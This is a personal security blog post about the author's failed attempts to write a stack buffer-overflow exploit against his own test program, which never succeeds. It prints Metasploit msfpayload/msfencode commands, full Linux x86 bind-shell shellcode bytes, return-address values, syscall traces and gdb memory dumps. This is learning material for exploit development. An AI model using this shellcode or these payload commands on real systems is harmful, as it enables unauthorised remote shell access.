More Exploit Writing Failures
I decided to do little more work with Metasploit to see if I could get exploit the program I was working on several days ago. I started by reviewing a littel bit about encoding. To do this I took a quick look at the book “Sockets, Shellcode, Porting & Coding“. On page 536 I found the following:
Q. Do I have to use an encoder on my payload?
A. No. As long as you avoid the bad characters, you can send over any payload without encoding it. The encoders are there primarily to generate payloads that avoid bad characters.
With this information I decided to regenerate my payloads.
/pentest/exploits/framework3/msfpayload linux/x86/shell/bind_tcp LPORT=4444 R >./payload_4444
This output the raw payload into a file but I still needed to generate something that I could place into a perl script.
/pentest/exploits/framework3/msfencode -a x86 -b ‘\x00′ -e generic/none -i ./payload_4444 -s 140 -t perl
This generated the following output.
[*] generic/none succeeded, final size 64
“\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd” .
“\x80\x96\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66″ .
“\x58\x50\x51\x56\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80″ .
“\x52\x52\x56\x43\x89\xe1\xb0\x66\xcd\x80\x93\xb6\x0c\xb0″ .
“\x03\xcd\x80\x89\xdf\xff\xe1\x0a”;
Of course now that I have a little more knowledge I realize I could have output the first command in perl format. But this gives me a two stage output that I don’t know how to utilize.
BT exp_prog # /pentest/exploits/framework3/msfpayload linux/x86/shell/bind_tcp LPORT=4444 P >./payload_4444_perl
BT exp_prog # cat ./payload_4444_perl
# linux/x86/shell/bind_tcp – 63 bytes (stage 1)
# http://www.metasploit.com
# LPORT=4444
“\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd” .
“\x80\x96\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66″ .
“\x58\x50\x51\x56\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80″ .
“\x52\x52\x56\x43\x89\xe1\xb0\x66\xcd\x80\x93\xb6\x0c\xb0″ .
“\x03\xcd\x80\x89\xdf\xff\xe1″;# linux/x86/shell/bind_tcp – 36 bytes (stage 2)
# http://www.metasploit.com
“\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x6a” .
“\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e” .
“\x89\xe3\x52\x53\x89\xe1\xcd\x80″;
Unfortunately this did not answer my questions. I received the same results which is that the program bailed somewhere in the payload. In order to further understand what was going on I decided to monitor the program as it was executing. At my last place of employment we utilized the Solaris command “truss” to track down a bug in SUDO but I have not done this sort of thing in Linux. However, I did remember reading about it somewhere. With a little brain racking I realized that the answer was contained in another answer. That is the winning answer of one of challenges hosted by The Ethical Hacker Network. After a little searching I found reference to the apptrace command in Dean De Beer’s response to the Kill Bill! challenge. Following the link provided I downloaded apptrace.
Following the instructions I set up the program to monitor the program I am trying to exploit. After running the exploit against the program I dumped the output created by apptrace.
BT apptrace # more exp_prog.7166.trace
7205 execve(“./exp_prog.orig”, ["exp_prog.orig"], [/* 44 vars */]) = 0
7205 uname({sys=”Linux”, node=”BT”, …}) = 0
7205 brk(0) = 0×804a000
7205 access(“/etc/ld.so.preload”, R_OK) = -1 ENOENT (No such file or directory)
7205 open(“/etc/ld.so.cache”, O_RDONLY) = 3
7205 fstat64(3, {st_mode=S_IFREG|0644, st_size=89454, …}) = 0
7205 mmap2(NULL, 89454, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd3000
7205 close(3) = 0
7205 open(“/lib/tls/libc.so.6″, O_RDONLY) = 3
7205 read(3, “\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20O\1\000″…, 512) = 512
7205 fstat64(3, {st_mode=S_IFREG|0755, st_size=1441281, …}) = 0
7205 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fd2000
7205 mmap2(NULL, 1240284, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7ea3000
7205 mmap2(0xb7fcc000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0×128) = 0xb7fcc000
7205 mmap2(0xb7fd0000, 7388, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd0000
7205 close(3) = 0
7205 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ea2000
7205 mprotect(0xb7fcc000, 4096, PROT_READ) = 0
7205 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7ea26c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, s
eg_not_present:0, useable:1}) = 0
7205 munmap(0xb7fd3000, 89454) = 0
7205 fstat64(1, {st_mode=S_IFSOCK|0777, st_size=0, …}) = 0
7205 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe8000
7205 write(1, “The buffer is: Hello\nThe “…, 98) = 98
7205 fstat64(0, {st_mode=S_IFSOCK|0777, st_size=0, …}) = 0
7205 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe7000
7205 read(0, “\220\220\220\220\220\220\220\220\220\220\220\220\220\220″…, 1024) = 244
7205 write(1, “The buffer is: \220\220\220\220\220\220\220\220″…, 208) = 208
7205 munmap(0xb7fe8000, 4096) = 0
7205 exit_group(32) = ?
This showed me that the last operation by the program was to write to standard out. Of course, my payload is designed to try and bind a socket to port 4444. Even worse, there is no additional information helpful or otherwise. Flipping through my shellcoding book again I realized something that I had completely forgotten. I can generate Metasploit payloads via the command line OR via the web console. As I prefer to stick to the command line I had limited myself. Although I considered using the Metasploit framework online this version is still running version 2.x. To familiarize myself with the latest framework I fired up version 3.0. Using the web interface I decided to generate the same payload without encoding.
I could tell that the output from this method was different because the byte size of the payload was different. Encouraged, I slapped this payload into my exploit and ran it again. Of course, once again, no joy. But at least this time I did receive a little different output from the information gathered by apptrace.
BT apptrace # more exp_prog.11174.trace
11188 execve(“./exp_prog.orig”, ["exp_prog.orig"], [/* 44 vars */]) = 0
11188 uname({sys=”Linux”, node=”BT”, …}) = 0
11188 brk(0) = 0×804a000
11188 access(“/etc/ld.so.preload”, R_OK) = -1 ENOENT (No such file or directory)
11188 open(“/etc/ld.so.cache”, O_RDONLY) = 3
11188 fstat64(3, {st_mode=S_IFREG|0644, st_size=89454, …}) = 0
11188 mmap2(NULL, 89454, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd3000
11188 close(3) = 0
11188 open(“/lib/tls/libc.so.6″, O_RDONLY) = 3
11188 read(3, “\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20O\1\000″…, 512) = 512
11188 fstat64(3, {st_mode=S_IFREG|0755, st_size=1441281, …}) = 0
11188 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fd2000
11188 mmap2(NULL, 1240284, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7ea3000
11188 mmap2(0xb7fcc000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0×128) = 0xb7fcc000
11188 mmap2(0xb7fd0000, 7388, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd0000
11188 close(3) = 0
11188 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ea2000
11188 mprotect(0xb7fcc000, 4096, PROT_READ) = 0
11188 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7ea26c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, s
eg_not_present:0, useable:1}) = 0
11188 munmap(0xb7fd3000, 89454) = 0
11188 fstat64(1, {st_mode=S_IFSOCK|0777, st_size=0, …}) = 0
11188 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe8000
11188 write(1, “The buffer is: Hello\nThe “…, 98) = 98
11188 fstat64(0, {st_mode=S_IFSOCK|0777, st_size=0, …}) = 0
11188 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe7000
11188 read(0, “\220\220\220\220\220\220\220\220\220\220\220\220\220\220″…, 1024) = 244
11188 read(0, “”, 1024) = 0
11188 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
11188 bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr(“0.0.0.0″)}, 102) = 0
11188 listen(3, 3221222332) = 0
11188 — SIGSEGV (Segmentation fault) @ 0 (0) —
11188 +++ killed by SIGSEGV +++
Excellent. This time the exploit code was executed. The apptrace output shows that the program did attempt to bind a socket to port 4444. Apparently the segmentation fault was initiated by the attempt to listen to that port. Not knowing what to do next I decided to take another look at the core dump.
(gdb) x/200xb 0xbffff300
0xbffff300: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff308: 0×31 0xdb 0×53 0×43 0×53 0×6a 0×02 0×6a
0xbffff310: 0×66 0×58 0×99 0×89 0xe1 0xcd 0×80 0×96
0xbffff318: 0×43 0×52 0×66 0×68 0×11 0×5c 0×66 0×53
0xbffff320: 0×89 0xe1 0×6a 0×66 0×58 0×50 0×51 0×56
0xbffff328: 0×89 0xe1 0xcd 0×80 0xb0 0×66 0xd1 0xe3
0xbffff330: 0xcd 0×80 0×52 0×00 0×01 0×00 0×00 0×00
0xbffff338: 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00
0xbffff340: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff348: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff350: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff358: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff360: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff368: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff370: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff378: 0×31 0xdb 0×53 0×43 0×53 0×6a 0×02 0×6a
0xbffff380: 0×66 0×58 0×99 0×89 0xe1 0xcd 0×80 0×96
0xbffff388: 0×43 0×52 0×66 0×68 0×11 0×5c 0×66 0×53
0xbffff390: 0×89 0xe1 0×6a 0×66 0×58 0×50 0×51 0×56
0xbffff398: 0×89 0xe1 0xcd 0×80 0xb0 0×66 0xd1 0xe3
0xbffff3a0: 0xcd 0×80 0×52 0×52 0×03 0×00 0×00 0×00
0xbffff3a8: 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00
0xbffff3b0: 0×03 0×00 0×00 0×00 0xbc 0xf3 0xff 0xbf
0xbffff3b8: 0×66 0×00 0×00 0×00 0×02 0×00 0×11 0×5c
0xbffff3c0: 0×00 0×00 0×00 0×00 0×02 0×00 0×00 0×00
(gdb) exit
The return pointer for this run is located at 0x bffff378 and so I included it in my program
$ret_ptr = “\x78\xf3\xff\xbf”;
That is when I realized that I pointed the return pointer to the return pointer. Opps. Configured this way I am surprised the program was able to execute and bind a port. Looking at the output I do notice that the nopsled ends right before 0xbffff378. I have no idea how this happens but this means that the shellcode starts at the memory location associated with the return pointer, so it tries to execute what it can and therefore is able to bind to port 4444. Then an error occurs somehow and the program bails.
After some double checking I reset the return pointer to point back at a location in the nopsled, in this case the memory location 0xbffff310. Which I located from this gdb output. I use the AAAA trick at the end of the shellcode to show the location of the return pointer, which is again 0xbffff378.
#0 0×41414141 in ?? ()
(gdb) x/300xb 0xbffff300
0xbffff300: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff308: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff310: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff318: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff320: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff328: 0×31 0xdb 0×53 0×43 0×53 0×6a 0×02 0×6a
0xbffff330: 0×66 0×58 0×99 0×89 0xe1 0xcd 0×80 0×96
0xbffff338: 0×43 0×52 0×66 0×68 0×11 0×5c 0×66 0×53
0xbffff340: 0×89 0xe1 0×6a 0×66 0×58 0×50 0×51 0×56
0xbffff348: 0×89 0xe1 0xcd 0×80 0xb0 0×66 0xd1 0xe3
0xbffff350: 0xcd 0×80 0×52 0×52 0×56 0×43 0×89 0xe1
0xbffff358: 0xb0 0×66 0xcd 0×80 0×93 0×6a 0×02 0×59
0xbffff360: 0xb0 0×3f 0xcd 0×80 0×49 0×79 0xf9 0xb0
0xbffff368: 0×0b 0×52 0×68 0×2f 0×2f 0×73 0×68 0×68
0xbffff370: 0×2f 0×62 0×69 0×6e 0×89 0xe3 0×52 0×53
0xbffff378: 0×89 0xe1 0xcd 0×80 0×41 0×41 0×41 0×41
0xbffff380: 0×00 0×00 0×00 0×00 0×04 0xf4 0xff 0xbf
0xbffff388: 0×0c 0xf4 0xff 0xbf 0×6c 0×5b 0xff 0xb7
0xbffff390: 0xfc 0xdf 0xfc 0xb7 0×00 0×00 0×00 0×00
0xbffff398: 0×90 0xf3 0xff 0xbf 0xd8 0xf3 0xff 0xbf
0xbffff3a0: 0×80 0xf3 0xff 0xbf 0xd2 0×7d 0xeb 0xb7
0xbffff3a8: 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00
0xbffff3b0: 0×00 0×00 0×00 0×00 0xf8 0×0f 0×00 0xb8
0xbffff3b8: 0×01 0×00 0×00 0×00 0×58 0×83 0×04 0×08
0xbffff3c0: 0×00 0×00 0×00 0×00 0xa0 0×5a 0xff 0xb7
0xbffff3c8: 0xb0 0×66 0xff 0xb7 0xf8 0×0f 0×00 0xb8
0xbffff3d0: 0×01 0×00 0×00 0×00 0×58 0×83 0×04 0×08
0xbffff3d8: 0×00 0×00 0×00 0×00 0×79 0×83 0×04 0×08
0xbffff3e0: 0×08 0×84 0×04 0×08 0×01 0×00 0×00 0×00
0xbffff3e8: 0×04 0xf4 0xff 0xbf 0×0c 0×85 0×04 0×08
0xbffff3f0: 0×54 0×85 0×04 0×08 0xb0 0×66 0xff 0xb7
0xbffff3f8: 0xfc 0xf3 0xff 0xbf 0×4e 0xee 0xff 0xb7
0xbffff400: 0×01 0×00 0×00 0×00 0×71 0xf5 0xff 0xbf
0xbffff408: 0×00 0×00 0×00 0×00 0×81 0xf5 0xff 0xbf
0xbffff410: 0xbc 0xf5 0xff 0xbf 0×1e 0xf6 0xff 0xbf
0xbffff418: 0×32 0xf6 0xff 0xbf 0×39 0xf6 0xff 0xbf
0xbffff420: 0×54 0xf6 0xff 0xbf 0×64 0xf6 0xff 0xbf
0xbffff428: 0×6f 0xf6 0xff 0xbf
Running the exploit again failed. Man, this is hard. Checking apptrace I don’t see the code creating a socket and binding to port 4444. There is a “socketcall” but I am not familiar enough with shellcode or system calls to know if this run came closer to execution or not.
19855 execve(“./exp_prog.orig”, ["exp_prog.orig"], [/* 44 vars */]) = 0
19855 uname({sys=”Linux”, node=”BT”, …}) = 0
19855 brk(0) = 0×804a000
19855 access(“/etc/ld.so.preload”, R_OK) = -1 ENOENT (No such file or directory)
19855 open(“/etc/ld.so.cache”, O_RDONLY) = 3
19855 fstat64(3, {st_mode=S_IFREG|0644, st_size=89454, …}) = 0
19855 mmap2(NULL, 89454, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd3000
19855 close(3) = 0
19855 open(“/lib/tls/libc.so.6″, O_RDONLY) = 3
19855 read(3, “\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20O\1\000″…, 512) = 512
19855 fstat64(3, {st_mode=S_IFREG|0755, st_size=1441281, …}) = 0
19855 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fd2000
19855 mmap2(NULL, 1240284, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7ea3000
19855 mmap2(0xb7fcc000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0×128) = 0xb7fcc000
19855 mmap2(0xb7fd0000, 7388, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd0000
19855 close(3) = 0
19855 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ea2000
19855 mprotect(0xb7fcc000, 4096, PROT_READ) = 0
19855 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7ea26c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, s
eg_not_present:0, useable:1}) = 0
19855 munmap(0xb7fd3000, 89454) = 0
19855 fstat64(1, {st_mode=S_IFSOCK|0777, st_size=0, …}) = 0
19855 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe8000
19855 write(1, “The buffer is: Hello\nThe “…, 98) = 98
19855 fstat64(0, {st_mode=S_IFSOCK|0777, st_size=0, …}) = 0
19855 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe7000
19855 read(0, “\220\220\220\220\220\220\220\220\220\220\220\220\220\220″…, 1024) = 244
19855 read(0, “”, 1024) = 0
19855 syscall_16962(0xb7fcdffc, 0xbffff3d2, 0, 0xbffff454, 0×5352e389, 0×80cde189, 0xffffffda, 0×7b, 0×7b, 0, 0×33, 0×4242, 0xbffff317, 0×73, 0x
210282, 0xbffff3d2, 0×7b, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) = -1 (errno 38)
19855 socketcall(0xb7fcdffd, 0xbffff3be) = -1 EINVAL (Invalid argument)
19855 syscall_4294967142(0×6ff9bffa, 0xbffff3be, 0, 0xffffffda, 0×5352e389, 0×80cde189, 0xffffffda, 0×7b, 0×7b, 0, 0×33, 0xffffff66, 0xbffff332,
0×73, 0×210a17, 0xbffff3be, 0×7b, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) = -1 (errno 38)
19855 — SIGSEGV (Segmentation fault) @ 0 (0) —
19855 +++ killed by SIGSEGV (core dumped) +++
Looking at the gdb output I noticed that for some reason the return pointer was not overwritten with the correct value.
(gdb) x/300xb 0xbffff300
0xbffff300: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff308: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff310: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff318: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff320: 0×90 0×90 0×90 0×90 0×90 0×90 0×90 0×90
0xbffff328: 0×31 0xdb 0×53 0×43 0×53 0×6a 0×02 0×6a
0xbffff330: 0×66 0×58 0×99 0×89 0xe1 0xcd 0×80 0×96
0xbffff338: 0×43 0×52 0×66 0×68 0×11 0×5c 0×66 0×53
0xbffff340: 0×89 0xe1 0×6a 0×66 0×58 0×50 0×51 0×56
0xbffff348: 0×89 0xe1 0xcd 0×80 0xb0 0×66 0xd1 0xe3
0xbffff350: 0xcd 0×80 0×52 0×52 0×03 0×00 0×00 0×00
0xbffff358: 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00
0xbffff360: 0×03 0×00 0×00 0×00 0×6c 0xf3 0xff 0xbf
0xbffff368: 0×66 0×00 0×00 0×00 0×02 0×00 0×11 0×5c
0xbffff370: 0×00 0×00 0×00 0×00 0×02 0×00 0×00 0×00
0xbffff378: 0×01 0×00 0×00 0×00 0×00 0×00 0×00 0×00
0xbffff380: 0×00 0×00 0×00 0×00 0×04 0xf4 0xff 0xbf
0xbffff388: 0×0c 0xf4 0xff 0xbf 0×6c 0×5b 0xff 0xb7
0xbffff390: 0xfc 0xdf 0xfc 0xb7 0×00 0×00 0×00 0×00
0xbffff398: 0×90 0xf3 0xff 0xbf 0xd8 0xf3 0xff 0xbf
0xbffff3a0: 0×80 0xf3 0xff 0xbf 0xd2 0×7d 0xeb 0xb7
0xbffff3a8: 0×00 0×00 0×00 0×00 0×00 0×00 0×00 0×00
0xbffff3b0: 0×00 0×00 0×00 0×00 0xf8 0×0f 0×00 0xb8
0xbffff3b8: 0×01 0×00 0×00 0×00 0×58 0×83 0×04 0×08
0xbffff3c0: 0×00 0×00 0×00 0×00 0xa0 0×5a 0xff 0xb7
0xbffff3c8: 0xb0 0×66 0xff 0xb7 0xf8 0×0f 0×00 0xb8
0xbffff3d0: 0×01 0×00 0×00 0×00 0×58 0×83 0×04 0×08
0xbffff3d8: 0×00 0×00 0×00 0×00 0×79 0×83 0×04 0×08
0xbffff3e0: 0×08 0×84 0×04 0×08 0×01 0×00 0×00 0×00
0xbffff3e8: 0×04 0xf4 0xff 0xbf 0×0c 0×85 0×04 0×08
0xbffff3f0: 0×54 0×85 0×04 0×08 0xb0 0×66 0xff 0xb7
0xbffff3f8: 0xfc 0xf3 0xff 0xbf 0×4e 0xee 0xff 0xb7
0xbffff400: 0×01 0×00 0×00 0×00 0×71 0xf5 0xff 0xbf
0xbffff408: 0×00 0×00 0×00 0×00 0×81 0xf5 0xff 0xbf
0xbffff410: 0xbc 0xf5 0xff 0xbf 0×1e 0xf6 0xff 0xbf
0xbffff418: 0×32 0xf6 0xff 0xbf 0×39 0xf6 0xff 0xbf
0xbffff420: 0×54 0xf6 0xff 0xbf 0×64 0xf6 0xff 0xbf
0xbffff428: 0×6f 0xf6 0xff 0xbf
It looks like the shellcode is cut in half as it only spans 48 bytes instead of the full 84. This is very odd as the only code that I changed in the exploit program was to replace AAAA with 0xbffff310 or rather
$ret_ptr=”\x10\xf3\xff\xbf”.
So, no joy again but I guess I am a little closer. I know somebody out there is laughing at me saying, “Man, what a Noob. That is so easy.” Well, leave me a comment and let me know what I am doing wrong.
Go forth and do good things,
Cutaway
Metasploit, EHN, payload, truss, apptrace, Security Ripcord
Help support my training and travel to security conferences. Get your SANS Training and GIAC Certifications through the Security Ripcord.
You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.
Leave a Reply